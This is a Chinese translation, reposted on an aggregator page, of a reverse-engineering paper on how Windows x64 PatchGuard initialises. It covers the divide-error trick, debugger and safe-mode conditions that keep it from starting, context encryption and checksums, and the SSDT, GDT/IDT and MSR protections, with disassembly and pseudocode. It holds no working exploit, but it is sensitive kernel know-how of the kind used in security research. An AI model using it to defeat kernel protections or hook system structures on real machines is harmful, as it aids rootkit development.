Bypassing PatchGuard on Windows x64
生活随笔
收集整理的這篇文章主要介紹了
Bypassing PatchGuard on Windows x64
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
【說(shuō)明】
1.??本文是意譯,加之本人英文水平有限、windows底層技術(shù)屬菜鳥(niǎo)級(jí)別,本文與原文存在一定誤差,請(qǐng)多包涵。
2.??由于內(nèi)容較多,從word拷貝過(guò)來(lái)排版就亂了。故你也可以下載附件。
3.??如有不明白的地方,各位雪友可通過(guò)附件中的聯(lián)系方式聯(lián)系我,同時(shí)建議各位參照原文閱讀......
【64位windows系統(tǒng)的PatchGuard】
原文:Bypassing PatchGuard on Windows x64.pdf
關(guān)于windows x64上的PatchGuard是干什么用的,我就不賣(mài)弄了。^. ^。PG的初始化代碼作為nt!KeInitSystem的一部分,早在系統(tǒng)啟動(dòng)過(guò)程中就執(zhí)行了。
3.1.? ? ? ? 初始化PG Context
PG初始化的Entry point是KiDivide6432(),而事實(shí)上,這個(gè)函數(shù)根本沒(méi)有做任何防止打補(bǔ)丁的保護(hù)(anti-patch protections)。其就完成了一個(gè)除法操作:
ULONG KiDivide6432 (
IN ULONG64 Dividend,
IN ULONG Divisor)
{
return (Dividend / Divisor );
}
這個(gè)函數(shù)看似沒(méi)用,其實(shí)是隱藏了其真實(shí)意圖!這個(gè)函數(shù)的被除數(shù)是nt!KiTestDividend(0x014b5fa3a053724c),除數(shù)是0xcb5fa3(專(zhuān)業(yè)術(shù)語(yǔ)是硬編碼,通俗講就是一個(gè)常量)。這個(gè)函數(shù)執(zhí)行后,如果返回的商與常量0x5ee0b7e5不相等, nt!KeInitSystem()就會(huì)BSoD系統(tǒng),bug check是0x5d(UNSUPPORTED_PROCESSOR),但事實(shí)上,系統(tǒng)并沒(méi)有BSoD(好戲在后頭^.^)。
這里的原理類(lèi)似在病毒中常用的一個(gè)很巧妙的方法,就是故意觸發(fā)異常,然后引導(dǎo)自己的代碼執(zhí)行。AMD64指令手冊(cè)中說(shuō),如果執(zhí)行div指令后的商溢出(商的大小為4個(gè)字節(jié)),就會(huì)產(chǎn)生一個(gè)除法錯(cuò)誤。除法錯(cuò)誤就會(huì)導(dǎo)致一個(gè)硬件異常,在內(nèi)核中處理處理這個(gè)硬件異常,會(huì)間接初始化PG子系統(tǒng)。但是,微軟為什么要怎么做呢?繼續(xù)往下看。
有意思的是全局變量nt!KiTestDividend與另一個(gè)全局變量nt!KdDebuggerNotPresent有密切聯(lián)系。即nt!KiTestDividend的最高字節(jié)取值即為nt!KdDebuggerNotPresent值。(藍(lán)色部分)
lkd> dq nt!KiTestDividend L1
fffff800‘011766e0 014b5fa3‘a(chǎn)053724c
lkd> db nt!KdDebuggerNotPresent L1
fffff800‘011766e7 01
當(dāng)然,如果系統(tǒng)設(shè)置了調(diào)試器,則KdDebuggerNotPresent為0,相應(yīng)地,KiTestDividend為0x004b5fa3a053724c,這樣得到的商就剛好是0x5ee0b7e5(0x004b5fa3a053724c÷0xcb5fa3 = 0x5ee0b7e5)(0x014b5fa3a053724c ÷0xcb5fa3 = 0x1A11F49AE 商溢出)。默認(rèn)為1。這就意味著,如果在間接初始化PG子系統(tǒng)前,系統(tǒng)掛了一個(gè)調(diào)試器,則PG子系統(tǒng)不會(huì)被初始化,因?yàn)檫@個(gè)除法錯(cuò)誤被調(diào)試器捕獲了,PG也就不起作用了。當(dāng)然,如果在PG子系統(tǒng)初始化后,再掛上調(diào)試器,設(shè)置斷點(diǎn)等操作就會(huì)BSoD了?。
理解了KiTestDividend,下一步就是了解微軟如何通過(guò)這個(gè)除法錯(cuò)誤來(lái)引導(dǎo)執(zhí)行PG子系統(tǒng)的初始化操作。這就需要從如下函數(shù)入手了:nt!KiDivideErrorFault()。注意,所有的除法錯(cuò)誤的處理都會(huì)經(jīng)過(guò)這個(gè)函數(shù)。
KiDivideErrorFault()函數(shù)經(jīng)過(guò)一系列的處理后,最終會(huì)調(diào)用nt!KiOp_Div()函數(shù)來(lái)處理這個(gè)除法錯(cuò)誤。KiOp_Div()函數(shù)貌似會(huì)處理各種各樣的除法錯(cuò)誤,如除數(shù)為0。相應(yīng)的調(diào)用堆棧如下:
kd> k
Child-SP RetAddr Call Site
fffffadf‘e4a15f90 fffff800‘010144d4 nt!KiOp_Div+0x29
fffffadf‘e4a15fe0 fffff800‘01058d75 nt!KiPreprocessFault+0xc7
fffffadf‘e4a16080 fffff800‘0104172f nt!KiDispatchException+0x85
fffffadf‘e4a16680 fffff800‘0103f5b7 nt!KiExceptionExit
fffffadf‘e4a16800 fffff800‘0142132b nt!KiDivideErrorFault+0xb7
fffffadf‘e4a16998 fffff800‘014212d3 nt!KiDivide6432+0xb
fffffadf‘e4a169a0 fffff800‘0142a226 nt!KeInitSystem+0x169
fffffadf‘e4a16a50 fffff800‘01243e09 nt!Phase1InitializationDiscard+0x93e
fffffadf‘e4a16d40 fffff800‘012b226e nt!Phase1Initialization+0x9
fffffadf‘e4a16d70 fffff800‘01044416 nt!PspSystemThreadStartup+0x3e
fffffadf‘e4a16dd0 00000000‘00000000 nt!KxStartSystemThread+0x16
KiOp_Div()函數(shù)在具體處理某個(gè)除法錯(cuò)誤前,會(huì)首先調(diào)用nt!KiFilterFiberContext()函數(shù)。這個(gè)函數(shù)的反匯編代碼如下:
nt!KiFilterFiberContext:
fffff800‘01003ac2 53 push rbx
fffff800‘01003ac3 4883ec20 sub rsp,0x20
fffff800‘01003ac7 488d0552d84100 lea rax,[nt!KiDivide6432]
fffff800‘01003ace 488bd9 mov rbx,rcx
fffff800‘01003ad1 4883c00b add rax,0xb
fffff800‘01003ad5 483981f8000000 cmp [rcx+0xf8],rax
fffff800‘01003adc 0f855d380c00 jne nt!KiFilterFiberContext+0x1d
fffff800‘01003ae2 e899fa4100 call nt!KiDivide6432+0x570
從這段代碼可看成,其是在判斷除法錯(cuò)誤發(fā)生的地址是否就是nt!KiDivide6432 + 0xb。反匯編一下,我們就能看到:
nt!KiDivide6432+0xb:
fffff800‘0142132b 41f7f0 div r8d
如果除法錯(cuò)誤就發(fā)生在KiDivide6432 + 0xb的地方,則在KiDivide6432+0x570的地方就會(huì)引用一個(gè)未命名的符號(hào)(常量:0x2d8)。這個(gè)值確定了nt!KiInitializePatchGuard()函數(shù)是否回被執(zhí)行,也正是這個(gè)函數(shù)完成了PG子系統(tǒng)的安裝。
KiInitializePatchGuard()函數(shù)本身比較龐大,其初始化了一些contexts,這些contexts將用來(lái)監(jiān)控特定的系統(tǒng)鏡像(certain system images)、SSDT、processor GDT/IDT、特定的關(guān)鍵的MSRs(certain critical MSRs)以及一些與調(diào)試相關(guān)的例程。KiInitializePatchGuard()執(zhí)行前,KiDivide6432還要做的一件事就是判斷當(dāng)前系統(tǒng)是否是以安全模式啟動(dòng)的,如果是,PG系統(tǒng)也不會(huì)啟動(dòng):
nt!KiDivide6432+0x570:
fffff800‘01423580 4881ecd8020000 sub rsp,0x2d8
fffff800‘01423587 833d22dfd7ff00 cmp dword ptr [nt!InitSafeBootMode],0x0
fffff800‘0142358e 0f8504770000 jne nt!KiDivide6432+0x580
...
nt!KiDivide6432+0x580:
fffff800‘0142ac98 b001 mov al,0x1
fffff800‘0142ac9a 4881c4d8020000 add rsp,0x2d8
fffff800‘0142aca1 c3 ret
如果系統(tǒng)不是以安全模式啟動(dòng)的,則KiInitializePatchGuard()就會(huì)開(kāi)始初始化PG子系統(tǒng)了:
(1).? ? ? ? 計(jì)算ntoskrnl.exe中的INITKDBG節(jié)的大小
?? ? ? ? 已知nt!FsRtlUninitializeSmallMcb()函數(shù)就在INITKDBG節(jié)中。
?? ? ? ? 將nt!FsRtlUninitializeSmallMcb()函數(shù)的地址傳遞給nt!RtlPcToFileHeader。
?? ? ? ? RtlPcToFileHeader在ntoskrnl.exe中搜索FsRtlUninitializeSmallMcb()后,第二個(gè)輸出參數(shù)返回一個(gè)nt基地址。
?? ? ? ? 將得到的nt基地址傳給nt!RtlImageNtHeader()函數(shù)。這個(gè)函數(shù)返回一個(gè)PIMAGE_NT_HEADERS指針。
?? ? ? ? FsRtlUninitializeSmallMcb()的RVA = FsRtlUninitializeSmallMcb()地址 – nt基地址。
?? ? ? ? 然后將nt基地址、獲得的IMAGE_NT_HEADERS地址、RVA傳遞給nt!RtlSectionTableFromVirtualAddress()函數(shù),從而計(jì)算出INITKDBG節(jié)的基地址。
kd> ? rax ? ? ? ? //別忘了,返回值在rax中
Evaluate expression: -8796076244456 = fffff800‘01000218
kd> dt nt!_IMAGE_SECTION_HEADER fffff800‘01000218
+0x000 Name : [8] "INITKDBG"? ? ? ? //我們要找的節(jié)
+0x008 Misc : <unnamed-tag>
+0x00c VirtualAddress : 0x165000
+0x010 SizeOfRawData : 0x2600
+0x014 PointerToRawData : 0x163a00
+0x018 PointerToRelocations : 0
+0x01c PointerToLinenumbers : 0
+0x020 NumberOfRelocations : 0
+0x022 NumberOfLinenumbers : 0
+0x024 Characteristics : 0x68000020
做這個(gè)操作的目的是為了迷惑并隱藏PG將執(zhí)行的代碼。INITKDBG節(jié)中的代碼會(huì)被拷貝到一個(gè)已分配好的保護(hù)上下文(allocated protection context)中。在驗(yàn)證階段,會(huì)利用這個(gè)context。
(2).? ? ? ? 定位PoolTagArray
收集完INITKDBG鏡像節(jié)的信息后,KiInitializePatchGuard()函數(shù)執(zhí)行了一個(gè)偽隨機(jī)數(shù)產(chǎn)生器(pseudo-random number generations),主要是防破解!這里是第一次,后面還有很多。這個(gè)偽隨機(jī)數(shù)產(chǎn)生器的代碼與下類(lèi)似:
fffff800‘0142362d 0f31 rdtsc??//得到CPU自啟動(dòng)以后的運(yùn)行周期
fffff800‘0142362f 488bac24d8020000 mov rbp,[rsp+0x2d8]
fffff800‘01423637 48c1e220 shl rdx,0x20
fffff800‘0142363b 49bf0120000480001070 mov r15,0x7010008004002001
fffff800‘01423645 480bc2 or rax,rdx
fffff800‘01423648 488bcd mov rcx,rbp
fffff800‘0142364b 4833c8 xor rcx,rax
fffff800‘0142364e 488d442478 lea rax,[rsp+0x78]
fffff800‘01423653 4833c8 xor rcx,rax
fffff800‘01423656 488bc1 mov rax,rcx
fffff800‘01423659 48c1c803 ror rax,0x3
fffff800‘0142365d 4833c8 xor rcx,rax
fffff800‘01423660 498bc7 mov rax,r15
fffff800‘01423663 48f7e1 mul rcx
fffff800‘01423666 4889442478 mov [rsp+0x78],rax
fffff800‘0142366b 488bca mov rcx,rdx
fffff800‘0142366e 4889942488000000 mov [rsp+0x88],rdx
fffff800‘01423676 4833c8 xor rcx,rax
fffff800‘01423679 48b88fe3388ee3388ee3 mov rax,0xe38e38e38e38e38f
fffff800‘01423683 48f7e1 mul rcx
fffff800‘01423686 48c1ea03 shr rdx,0x3
fffff800‘0142368a 488d04d2 lea rax,[rdx+rdx*8]
fffff800‘0142368e 482bc8 sub rcx,rax
fffff800‘01423691 8bc1 mov eax,ecx
產(chǎn)生的這第一個(gè)隨機(jī)數(shù)用作pool tags數(shù)組的下標(biāo)。這里的pool tags數(shù)組中的tag主要在PG分配內(nèi)存時(shí)使用。關(guān)于如何定位這個(gè)pool tags數(shù)組,以及如何利用這個(gè)隨機(jī)數(shù)索引,請(qǐng)參考以下代碼:
fffff800‘01423693 488d0d66c9bdff lea rcx,[nt]
fffff800‘0142369a 448b848100044300 mov r8d,[rcx+rax*4+0x430400] //rax中就是產(chǎn)生的隨機(jī)數(shù)
于是,PoolTagArray = nt基地址 + 0x430400;RandomPoolTagIndex = eax。注意,每個(gè)tag占4個(gè)字節(jié)。PG所用的tags如下:
lkd> db nt+0x430400
41 63 70 53 46 69 6c 65-49 70 46 49 49 72 70 20 AcpSFileIpFIIrp
4d 75 74 61 4e 74 46 73-4e 74 72 66 53 65 6d 61 MutaNtFsNtrfSema
54 43 50 63 00 00 00 00-10 3b 03 01 00 f8 ff ff TCPc.....;......
(3).? ? ? ? 分配Context
Context = ExAllocatePoolWithTag(
? ?? ?? ???NonPagedPool,
? ?? ?? ???(InitKdbgSection->VirtualSize + 0x1b8) + (RandSize & 0x7ff),
? ?? ?? ???PoolTagArray[RandomPoolTagIndex]
? ?? ???);
這個(gè)Context的結(jié)構(gòu)體稱(chēng)為PatchGuardContext,其頭部被格式化為:PATCHGUARD_CONTEXT。這個(gè)結(jié)構(gòu)體的前0x48個(gè)字節(jié)是從nt! CmpAppendDllSection()拷貝而來(lái)。這個(gè)函數(shù)的名字有一定的誤導(dǎo),其實(shí)質(zhì)是用來(lái)在運(yùn)行時(shí)解密PATCHGUARD_CONTEXT結(jié)構(gòu)體的。在將CmpAppendDllSection()函數(shù)拷貝到PATCHGUARD_CONTEXT結(jié)構(gòu)體后,KiInitializePatchGuard()函數(shù)就在PATCHGUARD_CONTEXT結(jié)構(gòu)體中存放了一組函數(shù)地址,如下圖:(注意,64位系統(tǒng)的函數(shù)地址是8個(gè)字節(jié)^.^)
KiInitializePatchGuard()函數(shù)保存好以上函數(shù)指針后,就再產(chǎn)生一個(gè)隨機(jī)數(shù),并從pool tags數(shù)組中獲取對(duì)應(yīng)的pool tag,這一個(gè)tag用于隨后的內(nèi)存分配操作,且保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x188處。到此時(shí)為止,就產(chǎn)生了2個(gè)隨機(jī)數(shù),在后面加密PATCHGUARD_CONTEXT結(jié)構(gòu)體時(shí)就用了這兩個(gè)隨機(jī)數(shù)。一個(gè)用作隨機(jī)循環(huán)位值(保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x18c處),另一個(gè)用作XOR種子(保存在PATCHGUARD_CONTEXT結(jié)構(gòu)體的偏移為0x190處)。
(4).? ? ? ? 獲取虛擬地址空間的位數(shù)
主要是調(diào)用cpuid ExtendedAddressSize (0x80000008)擴(kuò)展函數(shù)。所得的值存放在PATCHGUARD_CONTEXT結(jié)構(gòu)體的的偏移為0x1b4處。
(5).? ? ? ? 拷貝INITKDBG節(jié)
在初始化各個(gè)保護(hù)的sub-context(individual protection sub-contexts)前,要做的最后一個(gè)主要操作就是將INITKDBG節(jié)拷貝到PATCHGUARD_CONTEXT結(jié)構(gòu)體中。偽代碼如下:
memmove(
? ???(PCHAR)PatchGuardContext + sizeof(PATCHGUARD_CONTEXT),
? ???NtImageBase + InitKdbgSection->VirtualAddress,
? ???InitKdbgSection->VirtualSize);
注意:sizeof(PATCHGUARD_CONTEXT) =??0x1b8 //后文有注釋
初始化了PG的context的主要部分后,接下來(lái)就是出書(shū)啊sub-contexts了。Sub-contexts代表了PG要保護(hù)的那些特定的東東。
3.2.? ? ? ? 初始化受保護(hù)的結(jié)構(gòu)體
PG要保護(hù)的那些結(jié)構(gòu)體都有相應(yīng)的sub-context來(lái)描述。這些sub-contexts結(jié)構(gòu)體都是以PATCHGUARD_CONTEXT結(jié)構(gòu)體開(kāi)始的。初始化以下4個(gè)sub-contexts后,PG context(為區(qū)分sub-context,將其稱(chēng)為parent context)會(huì)被XOR。然后KiInitializePatchGuard()函數(shù)初始化一個(gè)timer并啟動(dòng)之。這個(gè)timer的作用是運(yùn)行驗(yàn)證PG子系統(tǒng)收集到的數(shù)據(jù)的代碼。除了以下結(jié)構(gòu)體外,KiInitializePatchGuard()函數(shù)還分配了一些其它暫時(shí)無(wú)法識(shí)別的sub-contexts結(jié)構(gòu)體,尤其是類(lèi)型為0x4和0x5的結(jié)構(gòu)體。
?? ? ? ? 保護(hù)System images的sub-context的初始化
?? ? ? ? 保護(hù)SSDT的sub-context的初始化
?? ? ? ? 保護(hù)GDT/IDT/MSRs的sub-context的初始化
?? ? ? ? 保護(hù)Debug routines的sub-context的初始化
(1).? ? ? ? 保護(hù)System images的sub-context的初始化
PG要保護(hù)的關(guān)鍵內(nèi)核鏡像(certain key kernel images)有:ntoskrnl.exe、hal.dll、ndis.sys。這些鏡像中的符號(hào)地址會(huì)傳遞給nt!PgCreateImageSubContext()函數(shù):
NTSTATUS PgCreateImageSubContext(
? ?? ?? ?? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ?? ?? ?? ? IN LPVOID SymbolAddress);
對(duì)于ntoskrnl.exe,傳遞的符號(hào)地址是nt!KiFilterFiberContext的地址;對(duì)于hal.dll,傳遞的符號(hào)地址是HalInitializeProcessor的地址;對(duì)于ndis.sys,傳遞的是其入口地址,這個(gè)入口地址是通過(guò)調(diào)用nt!GetModuleEntryPoint函數(shù)獲得。PgCreateImageSubContext()函數(shù)保護(hù)這些images所采用的方法是產(chǎn)生可區(qū)分的PG sub-contexts。
第一個(gè)sub-context保存image的sections的checksum(有些例外)。第二個(gè)和第三個(gè)sub-context分別保存image的IAT和Import Directory的checksum。分配這些sub-contexts的所有例程都會(huì)調(diào)用一個(gè)共同的函數(shù)(shared routine。個(gè)人覺(jué)得將shared翻譯成“共同的”或“相同的”比“共享的”好^.^),而這個(gè)“共同的”函數(shù)負(fù)責(zé)產(chǎn)生一個(gè)用于保存一段內(nèi)存塊的checksum,主要是使用這個(gè)隨機(jī)的XOR值和保存在parent PG context結(jié)構(gòu)體中的用作隨機(jī)循環(huán)位的那個(gè)隨機(jī)數(shù)(原文是:These routines all make use of a shared routine that is responsible for generating a protection sub-context that holds the checksum for a block of memory using the random XOR key and random rotate bits stored in the parent PatchGuard context structure.)。這個(gè)函數(shù)的定義如下:
typedef struct BLOCK_CHECKSUM_STATE
{
? ?? ?ULONG Unknown;
? ?? ?ULONG64 BaseAddress;
? ?? ?ULONG BlockSize;
? ?? ?ULONG Checksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;
PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
? ?? ?IN PPATCHGUARD_CONTEXT Context,
? ?? ?IN ULONG Unknown,
? ?? ?IN PVOID BlockAddress,
? ?? ?IN ULONG BlockSize,
? ?? ?IN ULONG SubContextSize,
? ?? ?OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL);
BLOCK_CHECKSUM_STATE結(jié)構(gòu)體中的Unknown成員值來(lái)自nt!PgCreateBlockChecksumSubContext()函數(shù)的Unknown參數(shù),在調(diào)試的時(shí)候,這個(gè)值是0,具體有何用,未知。
PgCreateBlockChecksumSubContext()函數(shù)計(jì)算checksum的算法很簡(jiǎn)單,其偽代碼如下:
ULONG64 Checksum = Context->RandomHashXorSeed;
ULONG Checksum32;
// Checksum 64-bit blocks
while (BlockSize >= sizeof(ULONG64))
{
? ? Checksum ^= *(PULONG64)BaseAddress;
? ? Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
? ? BlockSize -= sizeof(ULONG64);
? ? BaseAddress += sizeof(ULONG64);
}
// Checksum aligned blocks
while (BlockSize-- > 0)
{
? ? Checksum ^= *(PUCHAR)BaseAddress;
? ? Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);
? ? BaseAddress++;
}
Checksum32 = (ULONG)Checksum;
Checksum >>= 31;
do
{
? ? Checksum32 ^= (ULONG)Checksum;
? ? Checksum >>= 31;
} while (Checksum);
Checksum32就是最后得到的checksum,其會(huì)保存到BLOCK_CHECKSUM_STATE中。
為了達(dá)到初始化image sections的checksum的目的,nt!PgCreateImageSubContext()函數(shù)會(huì)調(diào)用如下函數(shù):
PPATCHGUARD_SUB_CONTEXT PgCreateImageSectionSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN PVOID SymbolAddress,
? ? IN ULONG SubContextSize,
? ? IN PVOID ImageBase);
PgCreateImageSectionSubContext()函數(shù)首先檢測(cè)nt!KiOpPrefetchPatchCount值是否為0。如果不為0,則創(chuàng)建的塊校驗(yàn)和上下文(block checksum context)就不會(huì)覆蓋image中的所有sections。否則,這個(gè)函數(shù)就會(huì)枚舉image中的所有節(jié),并為每個(gè)節(jié)都計(jì)算一個(gè)checksum,但不包括INIT、PAGEVRFY、PAGESPEC和PAGEKD這些節(jié)。
另外,PgCreateImageSectionSubContext()函數(shù)還會(huì)調(diào)用nt!PgCreateBlockChecksumSubContext()函數(shù)來(lái)計(jì)算image的IAT和Import Directory。
(2).? ? ? ? 保護(hù)SSDT的sub-context的初始化
第三方驅(qū)動(dòng)開(kāi)發(fā)者HOOK得最多的就是SSDT了。Win7 x64系統(tǒng)下SSDT表與Windows XP x86系統(tǒng)下的SSDT表不一樣(因?yàn)槲液芫脹](méi)搞SSDT HOOK了,以前搞過(guò)Windows XP x86下的SSDT HOOK,故這里以之作為比較對(duì)象^.^)。
原文中,作者獲取函數(shù)地址的公式是:dwo(nt!KiServiceTable+n)+nt!KiServiceTable(n=0,1,2…)。但在我的系統(tǒng)上用這個(gè)公式測(cè)試,卻不對(duì),應(yīng)該是系統(tǒng)版本問(wèn)題?。以下是我的公式推導(dǎo)方法:
?? ? ? ? 查看函數(shù)地址,如下:
由于作者得到的是nt!NtMapUserPhysicalPagesScatter()函數(shù),我直接在Windbg中查看該函數(shù)的地址,如下:
kd> u nt!NtMapUserPhysicalPagesScatter l1
nt!NtMapUserPhysicalPagesScatter:
fffff800`040cd190 48895c2408? ?? ?mov? ???qword ptr [rsp+8],rbx //這與原文的488bc4 mov rax,rsp也不一樣?,版本問(wèn)題?
這里得到的NtMapUserPhysicalPagesScatter()函數(shù)地址為fffff800`040cd190
?? ? ? ? 再看看nt!KiServiceTable的地址,如下:
kd> dd nt!KiServiceTable l4? ? ? ? //用這條命令的原因是作者用了dwo,所以我就順便把KisServiceTable的開(kāi)始4字節(jié)內(nèi)容顯示出來(lái)
fffff800`03cbcb00??04106900 02f6f000 fff72d00 031a0105
nt!KiServiceTable的地址 = fffff800`03cbcb00;offset = dwo(nt!KiServiceTable) = 04106900。
?? ? ? ? KiServiceTable、offset、Address三者的關(guān)系:
fffff800`040cd190 - fffff800`03cbcb00 = 410690(很眼熟??),與04106900是什么關(guān)系我就不多說(shuō)了。
所以,最后得到的公式為:(dwo(nt!KiServiceTable+n)>>4)+nt!KiServiceTable(n=0,1,2…)。這個(gè)公式與http://bbs.dbgtech.net/forum.php?mod=viewthread&tid=360一樣(看來(lái)要多逛論壇了?)。至于為什么要”>>4”,作者的沒(méi)有,以上帖子已有說(shuō)明?……
然后關(guān)于Win7 x64系統(tǒng)下的SSDT表的格式,我就不多說(shuō)了,相信你已知曉?……
PG在nt!PgCreateBlockChecksumSubContext()函數(shù)中保護(hù)了nt!KiServiceTable和nt!KeServiceDescriptorTable。關(guān)于這個(gè)函數(shù)的調(diào)用方法如下:
PgCreateBlockChecksumSubContext(
? ? ParentContext,
? ? 0,
? ? KeServiceDescriptorTable->DispatchTable, // KiServiceTable
? ? KiServiceLimit * sizeof(ULONG),
? ? 0,
NULL);
PgCreateBlockChecksumSubContext(
? ? ParentContext,
? ? 0,
? ? &KeServiceDescriptorTable,
? ? 0x20,
? ? 0,
? ? NULL);
(3).? ? ? ? 保護(hù)GDT/IDT的sub-context的初始化
GDT是用來(lái)描述內(nèi)核所使用的內(nèi)存段(memory segments)的。對(duì)惡意的應(yīng)用程序來(lái)說(shuō),GDT是有利可圖的,因?yàn)橥ㄟ^(guò)修改一些特定的GDT入口就可以讓不具有特權(quán)等級(jí)的(non-privileged)、用戶模式的應(yīng)用程序能夠修改內(nèi)核內(nèi)存。IDT對(duì)惡意的context和合法的context來(lái)說(shuō)都是很有用的。在某些情況下,第三方可能希望在特定的硬件或軟件中斷傳到內(nèi)核前就截獲它們,即hook IDT。
PG保護(hù)GDT/IDT的原理,主要是調(diào)用nt!PgCreateBlockChecksumSubContext()函數(shù)來(lái)實(shí)現(xiàn)的,當(dāng)然需傳入各自的context。由于保存GDT和IDT信息的寄存器是與給定的處理器相關(guān)聯(lián)的,那么PG就需要在每個(gè)處理器上為這2個(gè)表創(chuàng)建互不影響的context。要為給定的處理器獲取GDT和IDT的地址,PG首先調(diào)用nt!KeSetAffinityThread()函數(shù),以確保自己運(yùn)行在這個(gè)特定的處理器上。之后,PG調(diào)用nt!KiGetGdtIdt()函數(shù)來(lái)獲得GDT和IDT的基地址。這個(gè)函數(shù)的定義如下:
VOID KiGetGdtIdt(
? ? OUT PVOID *Gdt,
? ? OUT PVOID *Idt);
雖然獲取GDT和IDT基地址,是用的一個(gè)函數(shù),但在真正進(jìn)行保護(hù)GDT和IDT時(shí),是在兩個(gè)不同的函數(shù)中進(jìn)行的。它們分別是:nt!PgCreateGdtSubContext() 和 nt!PgCreateIdtSubContext()。定義如下:
PPATCHGUARD_SUB_CONTEXT PgCreateGdtSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR ProcessorNumber);
PPATCHGUARD_SUB_CONTEXT PgCreateIdtSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN UCHAR ProcessorNumber);
這兩個(gè)函數(shù)會(huì)在所有的處理器上被調(diào)用。nt!KeNumberProcessors指示哪個(gè)處理器,它們就在哪個(gè)處理器上調(diào)用。
(4).? ? ? ? 保護(hù)Processor MSRs的sub-context的初始化
最新最棒的處理器已經(jīng)極大地優(yōu)化了用戶模式切換到內(nèi)核模式所使用的方法。在此之前,大多數(shù)的OS,包括Windows,都使用一個(gè)軟中斷來(lái)處理系統(tǒng)調(diào)用。新一代的處理器采用命令來(lái)進(jìn)行系統(tǒng)調(diào)用,如syscall何sysenter命令。這就可能用到MSR(processor-defined Model-Specific Register)。MSR就包含了即將調(diào)用的內(nèi)核函數(shù)(與用戶態(tài)函數(shù)對(duì)應(yīng))的地址。在x64架構(gòu)上,控制該地址的MSR被稱(chēng)為L(zhǎng)STAR(Long System Target-Address Register) MSR。與MSR相關(guān)聯(lián)的code是0xc0000082。在系統(tǒng)啟動(dòng)過(guò)程中,x64內(nèi)核將MSR初始化為nt!KiSystemCall64()函數(shù)的地址。
微軟為了防止第三方通過(guò)改變LSTAR MSR的值,從而hooking系統(tǒng)調(diào)用,PG在PgCreateMsrSubContext()函數(shù)中創(chuàng)建了類(lèi)型為7(type 7)的sub-context結(jié)構(gòu)體并緩存MSR的值:
PPATCHGUARD_SUB_CONTEXT PgCreateMsrSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext,
? ? IN UCHAR Processor);
與GDT/IDT的保護(hù)一樣,LSTAR MSR的值也是與處理器相關(guān)的,需在每個(gè)處理器上都各自保留一份。為確保是從正確的處理器上獲得的MSR值,PG調(diào)用nt!KeSetAffinityThread函數(shù)以確保獲取MSR值的線程是運(yùn)行在相應(yīng)的處理器上。
(5).? ? ? ? 保護(hù)Debug routines的sub-context的初始化
PG創(chuàng)建了一個(gè)特殊的sub-context(type 6)結(jié)構(gòu)體來(lái)保護(hù)某些內(nèi)核函數(shù),這些內(nèi)部函數(shù)被內(nèi)核用著調(diào)試目的,如nt!KdpStub()函數(shù)等。當(dāng)發(fā)生異常后,調(diào)試器在允許內(nèi)核分發(fā)這個(gè)異常前,會(huì)先調(diào)用nt!KdpStub()函數(shù)來(lái)處理這個(gè)異常。實(shí)際上,這個(gè)函數(shù)是在nt!KiDebugRoutine()函數(shù)中調(diào)用的,nt!KiDebugRoutine()函數(shù)實(shí)質(zhì)又是一個(gè)全局變量,調(diào)用nt!KiDebugRoutine()函數(shù)的是nt!KiDispatchException()。所以,這個(gè)調(diào)用路徑是:nt!KiDispatchException() ? nt!KiDebugRoutine() ? nt!KdpStub()。這些過(guò)程都是在如下函數(shù)中完成的:
PPATCHGUARD_SUB_CONTEXT PgCreateDebugRoutineSubContext(
? ? IN PPATCHGUARD_CONTEXT ParentContext);
這個(gè)sub-context初始化后,其好像包含了nt!KdpStub()、nt!KdpTrap()和nt!KiDebugRoutine()函數(shù)的地址。這個(gè)sub-context的作用好像是為了防止第三方驅(qū)動(dòng)修改nt!KiDebugRoutine()函數(shù)的地址以指向別的地方。可能還有其它用處……
3.3.? ? ? ? 保護(hù)PG Contexts自身
創(chuàng)建并初始化好以上contexts后,PG就要保護(hù)這些contexts了。為了增加定位這些PG Contexts的難度,所有的contexts都與一個(gè)隨機(jī)產(chǎn)生的64-bit值進(jìn)行了XOR操作(即加密)。進(jìn)行這個(gè)加密操作的函數(shù)正是nt!PgEncryptContext()。這個(gè)函數(shù)按行XOR提供的context的buffer,并返回這個(gè)XOR值。該函數(shù)的定義如下:
ULONG64 PgEncryptContext(
? ? IN OUT PPATCHGUARD_CONTEXT Context);
nt!KiInitializePatchGuard ()函數(shù)初始化完所有sub-contexts后,下一件事就是加密primary PG context了(parent context)。要完成這個(gè)功能,第一步就是將棧上的context拷貝一份,以便其在被加密后,PG能以純文本的格式(plain-text)引用這個(gè)context。備份context的目的是以后的驗(yàn)證程序在執(zhí)行時(shí)可以加入隊(duì)列中(需要參考context結(jié)構(gòu)體的一些屬性)。做好備份后,就是調(diào)用nt!PgEncryptContext()函數(shù)對(duì)primary PG context進(jìn)行加密了。一旦驗(yàn)證程序被加入到隊(duì)列后,以等候執(zhí)行,context的純文本格式的備份就不再需要了,就會(huì)被清0。偽代碼如下:
PATCHGUARD_CONTEXT LocalCopy;
ULONG64 XorKey;
memmove(
? ? &LocalCopy,
? ? Context,
? ? sizeof(PATCHGUARD_CONTEXT)); // 0x1b8
XorKey = PgEncryptContext(
? ? Context);
... Use LocalCopy for verification routine queuing ...
memset(? ? ? ? //清空備份
? ? &LocalCopy,
? ? 0,
? ? sizeof(LocalCopy));
3.4.? ? ? ? 執(zhí)行PG驗(yàn)證函數(shù)
在初始化所有的sub-contexts后,且在加密primary PG context前,nt!KiInitializePatchGuard ()函數(shù)還做了一個(gè)關(guān)鍵性操作(PG有很多這樣的操作),就是從存儲(chǔ)在primary PG context中,偏移為0x168的一組函數(shù)指針中隨機(jī)選取一個(gè)函數(shù),選中的函數(shù)就會(huì)被間接調(diào)用以處理PG相關(guān)驗(yàn)證操作。
